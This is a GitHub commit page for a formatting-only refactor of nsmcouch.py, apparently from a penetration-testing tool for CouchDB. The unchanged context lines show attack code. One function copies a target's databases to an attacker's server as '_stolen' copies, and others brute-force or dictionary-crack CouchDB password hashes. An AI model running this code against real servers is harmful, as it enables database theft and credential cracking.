Permalink
Browse files

Begin PEP8 refactor nsmcouch

  • Loading branch information...
codingo committed Aug 24, 2017
1 parent 06275fb commit ef21b7ebfcb77c69166abd93fbef5929a90296e4
Showing with 16 additions and 5 deletions.
  1. +16 −5 nsmcouch.py
View
@@ -14,12 +14,14 @@
from hashlib import sha1
import os
global dbList
global yes_tag
global no_tag
yes_tag = ['y', 'Y']
no_tag = ['n', 'N']
def couchScan(target,port,pingIt):
if pingIt == True:
test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
@@ -68,7 +70,7 @@ def netAttacks(target,port, myIP):
mgtOpen = False
webOpen = False
mgtSelect = True
#This is a global for future use with other modules; may change
# This is a global for future use with other modules; may change
dbList = []
print "Checking to see if credentials are needed..."
needCreds = couchScan(target,port,False)
@@ -104,7 +106,7 @@ def netAttacks(target,port, myIP):
mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
#Future rev: Add web management interface parsing
# Future rev: Add web management interface parsing
try:
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
if mgtRespCode == 200:
@@ -142,11 +144,13 @@ def netAttacks(target,port, myIP):
if attack == "5":
return
def getPlatInfo(couchConn, target):
print "Server Info:"
print "CouchDB Version: " + couchConn.version()
return
def enumAtt(conn,target):
dbList = []
print "Enumerating all attachments..."
@@ -208,6 +212,7 @@ def enumDbs (couchConn,target,port):
return
def stealDBs (myDB,couchConn,target,port):
dbLoot = True
menuItem = 1
@@ -234,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port):
break
try:
#Create the DB target first
# Create the DB target first
myServer = couchdb.Server("http://" + myDB + ":5984")
targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
@@ -251,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port):
raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")
return
def passCrack (user, encPass, salt, dbVer):
select = True
print "Select password cracking method: "
@@ -273,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer):
return
return
def genBrute(chars, maxLen):
return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
def brute_pass(hashVal,salt,dbVer):
charSel = True
print "\n"
@@ -313,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer):
print "\rCombinations tested: " + str(count) + "\r"
count += 1
#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
# CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
if float(dbVer[0:3]) < 1.3:
gotIt = gen_pass_couch(attempt,salt,hashVal)
else:
@@ -322,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer):
if gotIt == True:
break
def dict_pass(key,salt,dbVer):
loadCheck = False
@@ -341,7 +350,7 @@ def dict_pass(key,salt,dbVer):
for passGuess in passList:
temp = passGuess.split("\n")[0]
#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
# CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
if float(dbVer[0:3]) < 1.3:
gotIt = gen_pass_couch(temp,salt,key)
else:
@@ -352,6 +361,7 @@ def dict_pass(key,salt,dbVer):
return
def gen_pass_couch(passw, salt, hashVal):
if sha1(passw+salt).hexdigest() == hashVal:
print "Password Cracked - "+passw
@@ -360,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal):
else:
return False
def gen_pass_couch13(passw, salt, iterations, hashVal):
result=PBKDF2(passw,salt,iterations).read(20)
expected=a2b_hex(hashVal)

0 comments on commit ef21b7e

Please sign in to comment.